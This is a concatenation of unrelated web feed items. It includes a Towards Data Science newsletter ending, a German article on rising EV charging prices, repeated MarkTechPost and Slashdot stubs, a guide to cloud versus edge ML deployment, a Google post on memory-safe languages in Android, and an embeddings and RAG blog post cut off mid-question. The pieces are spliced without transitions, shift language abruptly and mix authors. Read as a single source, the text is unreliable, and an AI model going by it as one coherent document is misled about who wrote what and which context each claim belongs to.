Every month, we’re thrilled to see a fresh group of authors join TDS, each sharing their own unique voice, knowledge, and experience with our community. If you’re looking for new writers to explore and follow, just browse the work of our latest additions, including Jessica S, Tanner McRae, Ed Sandoval, Robert Corwin, Eric Colson, Joseph Ben, Marcus K. Elwin, Ro Isachenko, Michael Zakhary, Haim Barad, Elisa Yao, Mohamad Hamza, Eric Silberstein, Lorenzo Mezzini, David Teather, Diego Penilla, Daniel Klitzke, Iheb Rachdi, Aaron Beckley, Andrea Rosales, Bohumir Buso, Loizos Loizou, Omri Eliyahu Levy, Ohad Eytan, Julián Peller, Yan Georget, James Barney, Dima Sergeev, Pere Martra, and Gizem Kaya, among others.

Thank you for supporting the work of our authors! We love publishing articles from new authors, so if you’ve recently written an interesting project walkthrough, tutorial, or theoretical reflection on any of our core topics, don’t hesitate to share it with us.

Until the next Variable,

TDS Team

Autonomous Agent Ecosystems, Data Integration, Open Source LLMs, and Other November Must-Reads was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

Derzeit gibt es ein Problem, was die Kostenentwicklung für das Laden von Elektroautos im öffentlichen Bereich angeht. Die Preise steigen weiterhin, auch in recht teuren Grundtarifen werden die Preise teurer. Mercedes plant etwa AC und DC-Laden in seinen me-Charge-Tarifen ab Dezember zu erhöhen. Das spiegelt den Markt wider, bei dem die durchschnittlichen Preise weiter steigen.

In den aktuellsten Daten für das "Charging Radar" von Edison wird deutlich, dass der Preis für Schnellladen (DC) nur noch eine Richtung in Deutschland kennt. Die Preiskurve ist aufsteigend und landet zuletzt bei 87 Cent je kWh, das ist der durchschnittliche DC-Preis. Zuletzt stieg dieser Preis von 75 Cent, lag zuvor bei 73 Cent und davor bei 65 Cent.

"Viele der großen Ladedienste haben die Preise insbesondere im Roaming deutlich erhöht und versuchen mit vergleichsweise günstigen Preisen im eigenen Ladenetzwerk zu punkten", heißt es in einem Statement zu den Daten. Für den Kunden ist das jedoch doof, denn es dürfte wohl besonderes auf der Langstrecke kaum immer möglich sein, nur an den Ladesäulen eines einzigen Anbieters zu laden.

AC-Laden bleibt preisstabil, wird aber demnächst deutlich abbauen

Das deutlich weniger attraktive AC-Laden ist aktuell auf einem Plateau, der Durchschnittspreis fällt zuletzt sogar wieder um einige Cent und erreichte ein "Tief" von durchschnittlich 64 Cent von kWh. AC-Laden ist nicht attraktiv, jedenfalls nicht für die Anbieter. Einige lokale Unternehmen entscheiden sich sogar für den Rückbau ihrer Angebote.

Was die Verfügbarkeit von Ladepunkten angeht, gibt es eine gute Nachricht, denn es ist ein Wachstum von 36 Prozent im Vergleich zum Vorjahr zu verzeichnen. 154.545 öffentliche Ladepunkte für Elektroautos hat man jüngst gezählt, die fast 2600 Ladepunkte von Tesla (nicht alle öffentlich) sind hier noch nicht mit reingezählt.

8 strategies I used (and you can too) on my journey to data science

Continue reading on Towards Data Science »

The post This Machine Learning Research Discusses How Task Diversity Shortens the In-Context Learning (ICL) Plateau appeared first on MarkTechPost.

The post This Machine Learning Research Discusses How Task Diversity Shortens the In-Context Learning (ICL) Plateau appeared first on MarkTechPost.

As a machine learning engineer, I frequently see discussions on social media emphasizing the importance of deploying ML models. I completely agree — model deployment is a critical component of MLOps. As ML adoption grows, there’s a rising demand for scalable and efficient deployment methods, yet specifics often remain unclear.

So, does that mean model deployment is always the same, no matter the context? In fact, quite the opposite: I’ve been deploying ML models for about a decade now, and it can be quite different from one project to another. There are many ways to deploy a ML model, and having experience with one method doesn’t necessarily make you proficient with others.

The remaining question is: what are the methods to deploy a ML model, and how do we choose the right method?

Models can be deployed in various ways, but they typically fall into two main categories:

• Cloud deployment
• Edge deployment

It may sound easy, but there’s a catch. For both categories, there are actually many subcategories. Here is a non-exhaustive diagram of deployments that we will explore in this article:

Before talking about how to choose the right method, let’s explore each category: what it is, the pros, the cons, the typical tech stack, and I will also share some personal examples of deployments I did in that context. Let’s dig in!

Cloud Deployment

From what I can see, it seems cloud deployment is by far the most popular choice when it comes to ML deployment. This is what is usually expected to master for model deployment. But cloud deployment usually means one of these, depending on the context:

• API deployment
• Serverless deployment
• Batch processing

Even in those sub-categories, one could have another level of categorization but we won’t go that far in that post. Let’s have a look at what they mean, their pros and cons and a typical associated tech stack.

API Deployment

API stands for Application Programming Interface. This is a very popular way to deploy a model on the cloud. Some of the most popular ML models are deployed as APIs: Google Maps and OpenAI’s ChatGPT can be queried through their APIs for examples.

If you’re not familiar with APIs, know that it’s usually called with a simple query. For example, type the following command in your terminal to get the 20 first Pokémon names:

curl -X GET https://pokeapi.co/api/v2/pokemon

Under the hood, what happens when calling an API might be a bit more complex. API deployments usually involve a standard tech stack including load balancers, autoscalers and interactions with a database:

Note: APIs may have different needs and infrastructure, this example is simplified for clarity.

API deployments are popular for several reasons:

• Easy to implement and to integrate into various tech stacks
• It’s easy to scale: using horizontal scaling in clouds allow to scale efficiently; moreover managed services of cloud providers may reduce the need for manual intervention
• It allows centralized management of model versions and logging, thus efficient tracking and reproducibility

While APIs are a really popular option, there are some cons too:

• There might be latency challenges with potential network overhead or geographical distance; and of course it requires a good internet connection
• The cost can climb up pretty quickly with high traffic (assuming automatic scaling)
• Maintenance overhead can get expensive, either with managed services cost of infra team

To sum up, API deployment is largely used in many startups and tech companies because of its flexibility and a rather short time to market. But the cost can climb up quite fast for high traffic, and the maintenance cost can also be significant.

About the tech stack: there are many ways to develop APIs, but the most common ones in Machine Learning are probably FastAPI and Flask. They can then be deployed quite easily on the main cloud providers (AWS, GCP, Azure…), preferably through docker images. The orchestration can be done through managed services or with Kubernetes, depending on the team’s choice, its size, and skills.

As an example of API cloud deployment, I once deployed a ML solution to automate the pricing of an electric vehicle charging station for a customer-facing web app. You can have a look at this project here if you want to know more about it:

How Renault Leveraged Machine Learning to Scale Electric Vehicle Sales

Even if this post does not get into the code, it can give you a good idea of what can be done with API deployment.

API deployment is very popular for its simplicity to integrate to any project. But some projects may need even more flexibility and less maintenance cost: this is where serverless deployment may be a solution.

Serverless Deployment

Another popular, but probably less frequently used option is serverless deployment. Serverless computing means that you run your model (or any code actually) without owning nor provisioning any server.

Serverless deployment offers several significant advantages and is quite easy to set up:

• No need to manage nor to maintain servers
• No need to handle scaling in case of higher traffic
• You only pay for what you use: no traffic means virtually no cost, so no overhead cost at all

But it has some limitations as well:

• It is usually not cost effective for large number of queries compared to managed APIs
• Cold start latency is a potential issue, as a server might need to be spawned, leading to delays
• The memory footprint is usually limited by design: you can’t always run large models
• The execution time is limited too: it’s not possible to run jobs for more than a few minutes (15 minutes for AWS Lambda for example)

In a nutshell, I would say that serverless deployment is a good option when you’re launching something new, don’t expect large traffic and don’t want to spend much on infra management.

Serverless computing is proposed by all major cloud providers under different names: AWS Lambda, Azure Functions and Google Cloud Functions for the most popular ones.

I personally have never deployed a serverless solution (working mostly with deep learning, I usually found myself limited by the serverless constraints mentioned above), but there is lots of documentation about how to do it properly, such as this one from AWS.

While serverless deployment offers a flexible, on-demand solution, some applications may require a more scheduled approach, like batch processing.

Batch Processing

Another way to deploy on the cloud is through scheduled batch processing. While serverless and APIs are mostly used for live predictions, in some cases batch predictions makes more sense.

Whether it be database updates, dashboard updates, caching predictions… as soon as there is no need to have a real-time prediction, batch processing is usually the best option:

• Processing large batches of data is more resource-efficient and reduce overhead compared to live processing
• Processing can be scheduled during off-peak hours, allowing to reduce the overall charge and thus the cost

Of course, it comes with associated drawbacks:

• Batch processing creates a spike in resource usage, which can lead to system overload if not properly planned
• Handling errors is critical in batch processing, as you need to process a full batch gracefully at once

Batch processing should be considered for any task that does not required real-time results: it is usually more cost effective. But of course, for any real-time application, it is not a viable option.

It is used widely in many companies, mostly within ETL (Extract, Transform, Load) pipelines that may or may not contain ML. Some of the most popular tools are:

• Apache Airflow for workflow orchestration and task scheduling
• Apache Spark for fast, massive data processing

As an example of batch processing, I used to work on a YouTube video revenue forecasting. Based on the first data points of the video revenue, we would forecast the revenue over up to 5 years, using a multi-target regression and curve fitting:

For this project, we had to re-forecast on a monthly basis all our data to ensure there was no drifting between our initial forecasting and the most recent ones. For that, we used a managed Airflow, so that every month it would automatically trigger a new forecasting based on the most recent data, and store those into our databases. If you want to know more about this project, you can have a look at this article:

How to Forecast YouTube Video Revenue

After exploring the various strategies and tools available for cloud deployment, it’s clear that this approach offers significant flexibility and scalability. However, cloud deployment is not always the best fit for every ML application, particularly when real-time processing, privacy concerns, or financial resource constraints come into play.

This is where edge deployment comes into focus as a viable option. Let’s now delve into edge deployment to understand when it might be the best option.

Edge Deployment

From my own experience, edge deployment is rarely considered as the main way of deployment. A few years ago, even I thought it was not really an interesting option for deployment. With more perspective and experience now, I think it must be considered as the first option for deployment anytime you can.

Just like cloud deployment, edge deployment covers a wide range of cases:

• Native phone applications
• Web applications
• Edge server and specific devices

While they all share some similar properties, such as limited resources and horizontal scaling limitations, each deployment choice may have their own characteristics. Let’s have a look.

Native Application

We see more and more smartphone apps with integrated AI nowadays, and it will probably keep growing even more in the future. While some Big Tech companies such as OpenAI or Google have chosen the API deployment approach for their LLMs, Apple is currently working on the iOS app deployment model with solutions such as OpenELM, a tini LLM. Indeed, this option has several advantages:

• The infra cost if virtually zero: no cloud to maintain, it all runs on the device
• Better privacy: you don’t have to send any data to an API, it can all run locally
• Your model is directly integrated to your app, no need to maintain several codebases

Moreover, Apple has built a fantastic ecosystem for model deployment in iOS: you can run very efficiently ML models with Core ML on their Apple chips (M1, M2, etc…) and take advantage of the neural engine for really fast inferences. To my knowledge, Android is slightly lagging behind, but also has a great ecosystem.

While this can be a really beneficial approach in many cases, there are still some limitations:

• Phone resources limit model size and performance, and are shared with other apps
• Heavy models may drain the battery pretty fast, which can be deceptive for the user experience overall
• Device fragmentation, as well as iOS and Android apps make it hard to cover the whole market
• Decentralized model updates can be challenging compared to cloud

Despite its drawbacks, native app deployment is often a strong choice for ML solutions that run in an app. It may seem more complex during the development phase, but it will turn out to be much cheaper as soon as it’s deployed compared to a cloud deployment.

When it comes to the tech stack, there are actually two main ways to deploy: iOS and Android. They both have their own stacks, but they share the same properties:

• App development: Swift for iOS, Kotlin for Android
• Model format: Core ML for iOS, TensorFlow Lite for Android
• Hardware accelerator: Apple Neural Engine for iOS, Neural Network API for Android

Note: This is a mere simplification of the tech stack. This non-exhaustive overview only aims to cover the essentials and let you dig in from there if interested.

As a personal example of such deployment, I once worked on a book reading app for Android, in which they wanted to let the user navigate through the book with phone movements. For example, shake left to go to the previous page, shake right for the next page, and a few more movements for specific commands. For that, I trained a model on accelerometer’s features from the phone for movement recognition with a rather small model. It was then deployed directly in the app as a TensorFlow Lite model.

Native application has strong advantages but is limited to one type of device, and would not work on laptops for example. A web application could overcome those limitations.

Web Application

Web application deployment means running the model on the client side. Basically, it means running the model inference on the device used by that browser, whether it be a tablet, a smartphone or a laptop (and the list goes on…). This kind of deployment can be really convenient:

• Your deployment is working on any device that can run a web browser
• The inference cost is virtually zero: no server, no infra to maintain… Just the customer’s device
• Only one codebase for all possible devices: no need to maintain an iOS app and an Android app simultaneously

Note: Running the model on the server side would be equivalent to one of the cloud deployment options above.

While web deployment offers appealing benefits, it also has significant limitations:

• Proper resource utilization, especially GPU inference, can be challenging with TensorFlow.js
• Your web app must work with all devices and browsers: whether is has a GPU or not, Safari or Chrome, a Apple M1 chip or not, etc… This can be a heavy burden with a high maintenance cost
• You may need a backup plan for slower and older devices: what if the device can’t handle your model because it’s too slow?

Unlike for a native app, there is no official size limitation for a model. However, a small model will be downloaded faster, making it overall experience smoother and must be a priority. And a very large model may just not work at all anyway.

In summary, while web deployment is powerful, it comes with significant limitations and must be used cautiously. One more advantage is that it might be a door to another kind of deployment that I did not mention: WeChat Mini Programs.

The tech stack is usually the same as for web development: HTML, CSS, JavaScript (and any frameworks you want), and of course TensorFlow Lite for model deployment. If you’re curious about an example of how to deploy ML in the browser, you can have a look at this post where I run a real time face recognition model in the browser from scratch:

BlazeFace: How to Run Real-time Object Detection in the Browser

This article goes from a model training in PyTorch to up to a working web app and might be informative about this specific kind of deployment.

In some cases, native and web apps are not a viable option: we may have no such device, no connectivity, or some other constraints. This is where edge servers and specific devices come into play.

Edge Servers and Specific Devices

Besides native and web apps, edge deployment also includes other cases:

• Deployment on edge servers: in some cases, there are local servers running models, such as in some factory production lines, CCTVs, etc…Mostly because of privacy requirements, this solution is sometimes the only available
• Deployment on specific device: either a sensor, a microcontroller, a smartwatch, earplugs, autonomous vehicle, etc… may run ML models internally

Deployment on edge servers can be really close to a deployment on cloud with API, and the tech stack may be quite close.

Note: It is also possible to run batch processing on an edge server, as well as just having a monolithic script that does it all.

But deployment on specific devices may involve using FPGAs or low-level languages. This is another, very different skillset, that may differ for each type of device. It is sometimes referred to as TinyML and is a very interesting, growing topic.

On both cases, they share some challenges with other edge deployment methods:

• Resources are limited, and horizontal scaling is usually not an option
• The battery may be a limitation, as well as the model size and memory footprint

Even with these limitations and challenges, in some cases it’s the only viable solution, or the most cost effective one.

An example of an edge server deployment I did was for a company that wanted to automatically check whether the orders were valid in fast food restaurants. A camera with a top down view would look at the plateau, compare what is sees on it (with computer vision and object detection) with the actual order and raise an alert in case of mismatch. For some reason, the company wanted to make that on edge servers, that were within the fast food restaurant.

To recap, here is a big picture of what are the main types of deployment and their pros and cons:

With that in mind, how to actually choose the right deployment method? There’s no single answer to that question, but let’s try to give some rules in the next section to make it easier.

How to Choose the Right Deployment

Before jumping to the conclusion, let’s make a decision tree to help you choose the solution that fits your needs.

Choosing the right deployment requires understanding specific needs and constraints, often through discussions with stakeholders. Remember that each case is specific and might be a edge case. But in the diagram below I tried to outline the most common cases to help you out:

This diagram, while being quite simplistic, can be reduced to a few questions that would allow you go in the right direction:

• Do you need real-time? If no, look for batch processing first; if yes, think about edge deployment
• Is your solution running on a phone or in the web? Explore these deployments method whenever possible
• Is the processing quite complex and heavy? If yes, consider cloud deployment

Again, that’s quite simplistic but helpful in many cases. Also, note that a few questions were omitted for clarity but are actually more than important in some context: Do you have privacy constraints? Do you have connectivity constraints? What is the skillset of your team?

Other questions may arise depending on the use case; with experience and knowledge of your ecosystem, they will come more and more naturally. But hopefully this may help you navigate more easily in deployment of ML models.

Conclusion and Final Thoughts

While cloud deployment is often the default for ML models, edge deployment can offer significant advantages: cost-effectiveness and better privacy control. Despite challenges such as processing power, memory, and energy constraints, I believe edge deployment is a compelling option for many cases. Ultimately, the best deployment strategy aligns with your business goals, resource constraints and specific needs.

If you’ve made it this far, I’d love to hear your thoughts on the deployment approaches you used for your projects.

How to Choose the Best ML Deployment Strategy: Cloud vs. Edge was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Memory safety vulnerabilities remain a pervasive threat to software security. At Google, we believe the path to eliminating this class of vulnerabilities at scale and building high-assurance software lies in Safe Coding, a secure-by-design approach that prioritizes transitioning to memory-safe languages.

This post demonstrates why focusing on Safe Coding for new code quickly and counterintuitively reduces the overall security risk of a codebase, finally breaking through the stubbornly high plateau of memory safety vulnerabilities and starting an exponential decline, all while being scalable and cost-effective.

We’ll also share updated data on how the percentage of memory safety vulnerabilities in Android dropped from 76% to 24% over 6 years as development shifted to memory safe languages.

Counterintuitive results

Consider a growing codebase primarily written in memory-unsafe languages, experiencing a constant influx of memory safety vulnerabilities. What happens if we gradually transition to memory-safe languages for new features, while leaving existing code mostly untouched except for bug fixes?

We can simulate the results. After some years, the code base has the following makeup¹ as new memory unsafe development slows down, and new memory safe development starts to take over:

In the final year of our simulation, despite the growth in memory-unsafe code, the number of memory safety vulnerabilities drops significantly, a seemingly counterintuitive result not seen with other strategies:

This reduction might seem paradoxical: how is this possible when the quantity of new memory unsafe code actually grew?

The math

The answer lies in an important observation: vulnerabilities decay exponentially. They have a half-life. The distribution of vulnerability lifetime follows an exponential distribution given an average vulnerability lifetime λ:

A large-scale study of vulnerability lifetimes² published in 2022 in Usenix Security confirmed this phenomenon. Researchers found that the vast majority of vulnerabilities reside in new or recently modified code:

This confirms and generalizes our observation, published in 2021, that the density of Android’s memory safety bugs decreased with the age of the code, primarily residing in recent changes.

This leads to two important takeaways:

• The problem is overwhelmingly with new code, necessitating a fundamental change in how we develop code.
• Code matures and gets safer with time, exponentially, making the returns on investments like rewrites diminish over time as code gets older.

For example, based on the average vulnerability lifetimes, 5-year-old code has a 3.4x (using lifetimes from the study) to 7.4x (using lifetimes observed in Android and Chromium) lower vulnerability density than new code.

In real life, as with our simulation, when we start to prioritize prevention, the situation starts to rapidly improve.

In practice on Android

The Android team began prioritizing transitioning new development to memory safe languages around 2019. This decision was driven by the increasing cost and complexity of managing memory safety vulnerabilities. There’s much left to do, but the results have already been positive. Here’s the big picture in 2024, looking at total code:

Despite the majority of code still being unsafe (but, crucially, getting progressively older), we’re seeing a large and continued decline in memory safety vulnerabilities. The results align with what we simulated above, and are even better, potentially as a result of our parallel efforts to improve the safety of our memory unsafe code. We first reported this decline in 2022, and we continue to see the total number of memory safety vulnerabilities dropping³. Note that the data for 2024 is extrapolated to the full year (represented as 36, but currently at 27 after the September security bulletin).

The percent of vulnerabilities caused by memory safety issues continues to correlate closely with the development language that’s used for new code. Memory safety issues, which accounted for 76% of Android vulnerabilities in 2019, and are currently 24% in 2024, well below the 70% industry norm, and continuing to drop.

As we noted in a previous post, memory safety vulnerabilities tend to be significantly more severe, more likely to be remotely reachable, more versatile, and more likely to be maliciously exploited than other vulnerability types. As the number of memory safety vulnerabilities have dropped, the overall security risk has dropped along with it.

Evolution of memory safety strategies

Over the past decades, the industry has pioneered significant advancements to combat memory safety vulnerabilities, with each generation of advancements contributing valuable tools and techniques that have tangibly improved software security. However, with the benefit of hindsight, it’s evident that we have yet to achieve a truly scalable and sustainable solution that achieves an acceptable level of risk:

1st generation: reactive patching. The initial focus was mainly on fixing vulnerabilities reactively. For problems as rampant as memory safety, this incurs ongoing costs on the business and its users. Software manufacturers have to invest significant resources in responding to frequent incidents. This leads to constant security updates, leaving users vulnerable to unknown issues, and frequently albeit temporarily vulnerable to known issues, which are getting exploited ever faster.

2nd generation: proactive mitigating. The next approach consisted of reducing risk in vulnerable software, including a series of exploit mitigation strategies that raised the costs of crafting exploits. However, these mitigations, such as stack canaries and control-flow integrity, typically impose a recurring cost on products and development teams, often putting security and other product requirements in conflict:

• They come with performance overhead, impacting execution speed, battery life, tail latencies, and memory usage, sometimes preventing their deployment.
• Attackers are seemingly infinitely creative, resulting in a cat-and-mouse game with defenders. In addition, the bar to develop and weaponize an exploit is regularly being lowered through better tooling and other advancements.

3rd generation: proactive vulnerability discovery. The following generation focused on detecting vulnerabilities. This includes sanitizers, often paired with fuzzing like libfuzzer, many of which were built by Google. While helpful, these methods address the symptoms of memory unsafety, not the root cause. They typically require constant pressure to get teams to fuzz, triage, and fix their findings, resulting in low coverage. Even when applied thoroughly, fuzzing does not provide high assurance, as evidenced by vulnerabilities found in extensively fuzzed code.

Products across the industry have been significantly strengthened by these approaches, and we remain committed to responding to, mitigating, and proactively hunting for vulnerabilities. Having said that, it has become increasingly clear that those approaches are not only insufficient for reaching an acceptable level of risk in the memory-safety domain, but incur ongoing and increasing costs to developers, users, businesses, and products. As highlighted by numerous government agencies, including CISA, in their secure-by-design report, "only by incorporating secure by design practices will we break the vicious cycle of constantly creating and applying fixes."

The fourth generation: high-assurance prevention

The shift towards memory safe languages represents more than just a change in technology, it is a fundamental shift in how to approach security. This shift is not an unprecedented one, but rather a significant expansion of a proven approach. An approach that has already demonstrated remarkable success in eliminating other vulnerability classes like XSS.

The foundation of this shift is Safe Coding, which enforces security invariants directly into the development platform through language features, static analysis, and API design. The result is a secure by design ecosystem providing continuous assurance at scale, safe from the risk of accidentally introducing vulnerabilities.

The shift from previous generations to Safe Coding can be seen in the quantifiability of the assertions that are made when developing code. Instead of focusing on the interventions applied (mitigations, fuzzing), or attempting to use past performance to predict future security, Safe Coding allows us to make strong assertions about the code's properties and what can or cannot happen based on those properties.

Safe Coding's scalability lies in its ability to reduce costs by:

• Breaking the arms race: Instead of an endless arms race of defenders attempting to raise attackers’ costs by also raising their own, Safe Coding leverages our control of developer ecosystems to break this cycle by focusing on proactively building secure software from the start.
• Commoditizing high assurance memory safety: Rather than precisely tailoring interventions to each asset's assessed risk, all while managing the cost and overhead of reassessing evolving risks and applying disparate interventions, Safe Coding establishes a high baseline of commoditized security, like memory-safe languages, that affordably reduces vulnerability density across the board. Modern memory-safe languages (especially Rust) extend these principles beyond memory safety to other bug classes.
• Increasing productivity: Safe Coding improves code correctness and developer productivity by shifting bug finding further left, before the code is even checked in. We see this shift showing up in important metrics such as rollback rates (emergency code revert due to an unanticipated bug). The Android team has observed that the rollback rate of Rust changes is less than half that of C++.

From lessons to action

Interoperability is the new rewrite

Based on what we’ve learned, it's become clear that we do not need to throw away or rewrite all our existing memory-unsafe code. Instead, Android is focusing on making interoperability safe and convenient as a primary capability in our memory safety journey. Interoperability offers a practical and incremental approach to adopting memory safe languages, allowing organizations to leverage existing investments in code and systems, while accelerating the development of new features.

We recommend focusing investments on improving interoperability, as we are doing with

Rust ↔︎ C++ and Rust ↔︎ Kotlin. To that end, earlier this year, Google provided a $1,000,000 grant to the Rust Foundation, in addition to developing interoperability tooling like Crubit and autocxx.

Role of previous generations

As Safe Coding continues to drive down risk, what will be the role of mitigations and proactive detection? We don’t have definitive answers in Android, but expect something like the following:

• More selective use of proactive mitigations: We expect less reliance on exploit mitigations as we transition to memory-safe code, leading to not only safer software, but also more efficient software. For instance, after removing the now unnecessary sandbox, Chromium's Rust QR code generator is 95% faster.
• Decreased use, but increased effectiveness of proactive detection: We anticipate a decreased reliance on proactive detection approaches like fuzzing, but increased effectiveness, as achieving comprehensive coverage over small well-encapsulated code snippets becomes more feasible.

Final thoughts

Fighting against the math of vulnerability lifetimes has been a losing battle. Adopting Safe Coding in new code offers a paradigm shift, allowing us to leverage the inherent decay of vulnerabilities to our advantage, even in large existing systems. The concept is simple: once we turn off the tap of new vulnerabilities, they decrease exponentially, making all of our code safer, increasing the effectiveness of security design, and alleviating the scalability challenges associated with existing memory safety strategies such that they can be applied more effectively in a targeted manner.

This approach has proven successful in eliminating entire vulnerability classes and its effectiveness in tackling memory safety is increasingly evident based on more than half a decade of consistent results in Android.

We'll be sharing more about our secure-by-design efforts in the coming months.

Acknowledgements

Thanks Alice Ryhl for coding up the simulation. Thanks to Emilia Kasper, Adrian Taylor, Manish Goregaokar, Christoph Kern, and Lars Bergstrom for your helpful feedback on this post.

Notes

I’m interested in trying to figure out what’s inside a language model embedding. You should be too, if one if these applies to you:

· The “thought processes” of large language models (LLMs) intrigues you.

· You build data-driven LLM systems, (especially Retrieval Augmented Generation systems) or would like to.

· You plan to use LLMs in the future for research (formal or informal).

· The idea of a brand new type of language representation intrigues you.

This blog post is intended to be understandable to any curious person, but even if you are language model specialist who works with them daily I think you will learn some useful things, as I did. Here’s a scorecard summary of what I learned about Language Model embeddings by performing semantic searches with them:

The Scorecard

What do embeddings “see” well enough to find passages in a larger dataset?

Along with many people, I have been fascinated by recent progress trying to look inside the ‘Black Box’ of large language models. There have recently been some incredible breakthroughs in understanding the inner workings of language models. Here are examples of this work by Anthropic, Google, and a nice review (Rai et al. 2024).

This exploration has similar goals, but we are studying embeddings, not full language models, and restricted to ‘black box’ inference from question responses, which is probably still the single best interpretability method.

Embeddings are what are created by LLMs in the first step, when they take a chunk of text and turn it into a long string of numbers that the language model networks can understand and use. Embeddings are used in Retrieval Augmented Generation (RAG) systems to allow searching on semantics (meanings) than are deeper than keyword-only searches. A set of texts, in my case the Wikipedia entries on U.S. Presidents, is broken into small chunks of text and converted to these numerical embeddings, then saved in a database. When a user asks a question, that question is also converted to embeddings. The RAG system then searches the database for an embedding similar to the user query, using a simple mathematical comparison between vectors, usually a cosine similarity. This is the ‘retrieval’ step, and the example code I provide ends there. In a full RAG system, whichever most-similar text chunks are retrieved from the database are then given to an LLM to use them as ‘context’ for answering the original question.

If you work with RAGs, you know there are many design variants of this basic process. One of the design choices is choosing a specific embedding model among the many available. Some models are longer, trained on more data, and cost more money, but without an understanding of what they are like and how they differ, the choice of which to use is often guesswork. How much do they differ, really?

If you don’t care about the RAG part

If you do not care about RAG systems but are just interested in learning more conceptually about how language models work, you might skip to the questions. Here is the upshot: embeddings encapsulate interesting data, information, knowledge, and maybe even wisdom gleaned from text, but neither their designers nor users knows exactly what they capture and what they miss. This post will search for information with different embeddings to try to understand what is inside them, and what is not.

The technical details: data, embeddings and chunk size

The dataset I’m using contains Wikipedia entries about U.S. Presidents. I use LlamaIndex for creating and searching a vector database of these text entries. I used a smaller than usual chunk size, 128 tokens, because larger chunks tend to overlay more content and I wanted a clean test of the system’s ability to find semantic matches. (I also tested chunk size 512 and results on most tests were similar.)

I’ll tests four embeddings:

1. BGE (bge-small-en-v1.5) is quite small at length 384. It the smallest of a line of BGE’s developed by the Beijing Academy of Artificial Intelligence. For it’s size, it does well on benchmark tests of retrieval (see leaderboard). It is F=free to use from HuggingFace.

2. ST (all-MiniLM-L6-v2) is another 384-length embedding. It excels at sentence comparisons; I’ve used it before for judging transcription accuracy. It was trained on the first billion sentence-pair corpus, which was about half Reddit data. It is also available HuggingFace.

3. Ada (text-embedding-ada-002) is the embedding scheme that OpenAI used from GPT-2 through GPT-4. It is much longer than the other embeddings at length 1536, but it is also older. How well can it compete with newer models?

4. Large (text-embedding-3-large) is Ada’s replacement — newer, longer, trained on more data, more expensive. We’ll use it with the max length of 3,072. Is it worth the extra cost and computing power? Let’s find out.

Questions, code available on GitHub

There is spreadsheet of question responses, a Jupyter notebook, and text dataset of Presidential Wikipedia entries available here:

GitHub - nathanbos/blog_embeddings: Files to accompany Medium blog on embeddings

Download the text and Jupyter notebook if you want to build your own; mine runs well on Google Colab.

The Spreadsheet of questions

I recommend downloading the spreadsheet to understand these results. It shows the top 20 text chunks returned for each question, plus a number of variants and follow-ups. Follow the link and choose ‘Download’ like this:

To browse the questions and responses, I find it easiest to drag the text entry cell at the top larger, and tab through the responses to read the text chunks there, as in this screenshot.

Not that this is the retrieved context only, there is no LLM synthesized response to these questions. The code has instructions for how to get those, using a query engine instead of just a retriever as I did.

Providing understanding that goes beyond leaderboards

We’re going to do something countercultural in this post: we’re going to focus on the actual results of individual question responses. This stands in contrast to current trends in LLM evaluation, which are about using larger and larger datasets and and presenting results aggregated to a higher and higher level. Corpus size matters a lot for training, but that is not as true for evaluation, especially if the goal is human understanding.

For aggregated evaluation of embedding search performance, consult the (very well implemented) HuggingFace leaderboard using the (excellent) MTEB dataset: https://huggingface.co/spaces/mteb/leaderboard.

Leaderboards are great for comparing performance broadly, but are not great for developing useful understanding. Most leaderboards do not publish actual question-by-question results, limiting what can be understood about those results. (They do usually provide code to re-run the tests yourself.) Leaderboards also tend to focus on tests that are roughly within the current technology’s abilities, which is reasonable if the goal is to compare current models, but does not help understand the limits of the state of the art. To develop usable understanding about what systems can and cannot do, I find there is no substitute for back-and-forth testing and close analysis of results.

What I’m presenting here is basically a pilot study. The next step would be to do the work of developing larger, precisely designed, understanding-focused test sets, then conduct iterative tests focused on deeper understanding of performance. This kind of study will likely only happen at scale when funding agencies and academic disciplines beyond computer science start caring about LLM interpretability. In the meantime, you can learn a lot just by asking.

Question: Which U.S. Presidents served in the Navy?

Let’s use the first question in my test set to illustrate the ‘black box’ method of using search to aid understanding.

The results:

I gave the Navy question to each embedding index (database). Only one of the four embeddings, Large, was able to find all six Presidents who served in the Navy within the top ten hits. The table below shows the top 10 found passages from for each embedding model. See the spreadsheet for full text of the top 20. There are duplicate Presidents on the list, because each Wikipedia entry has been divided into many individual chunks, and any given search may find more than one from the same President.

Why were there so many incorrect hits? Let’s look at a few.

The first false hit from BGE is a chunk from Dwight D Eisenhower, an army general in WW2, that has a lot of military content but has nothing to do with the Navy. It appears that BGE does have some kind of semantic representation of ‘Navy’. BGE’s search was better than what you would get with a simple keyword matches on ‘Navy’, because it generalizes to other words that mean something similar. But it generalized too indiscriminately, and failed to differentiate Navy from general military topics, e.g. it does not consistently distinguish between the Navy and the Army. My friends in Annapolis would not be happy.

How did the two mid-level embedding models do? They seem to be clear on the Navy concept and can distinguish between the Navy and Army. But they each had many false hits on general naval topics; a section on Chester A Arthur’s naval modernization efforts shows up high on both lists. Other found sections have Presidential actions related to the Navy, or ships named after Presidents, like the U.S.S. Harry Truman.

The middle two embedding models seem to have a way to semantically represent ‘Navy’ but do not have a clear semantic representation of the concept ‘Served in the Navy’. This was enough to prevent either ST or Ada from finding all six Naval-serving Presidents in the top ten.

On this question, Large clearly outperforms the others, with six of the seven top hits corresponding to the six serving Presidents: Gerald Ford, Richard Nixon, Lyndon B. Johnson, Jimmy Carter, John F. Kennedy, and George H. W. Bush. Large appears to understand not just ‘Navy’ but ‘served in the Navy’.

What did Large get wrong?

What was the one mistake in Large? It was the chunk on Franklin Delano Roosevelt’s work as Assistant Secretary of the Navy. In this capacity, he was working for the Navy, but as a civilian employee, not in the Navy. I know from personal experience that the distinction between active duty and civilian employees can be confusing. The first time I did contract work for the military I was unclear on which of my colleagues were active duty versus civilian employees. A colleagues told me, in his very respectful military way, that this distinction was important, and I needed to get it straight, which I have since. (Another pro tip: don’t get the ranks confused.)

Question: Which U.S. Presidents worked as a civilian employees of the Navy?

In this question I probed to see whether the embeddings “understood” this distinction that I had at first missed: do they know how civilian employees of the Navy differs from people actually in the service? Both Roosevelts worked for the Navy in a civilian capacity. Theodore had also been in the Army (leading the charge of San Juan Hill), wrote books about the Navy, and built up the Navy as President, so there are many Navy-related chunks about TR, but he was never in the Navy. (Except as Commander in Chief; this role technically makes all Presidents part of the U.S. Navy, but that relationship did not affect search hits.)

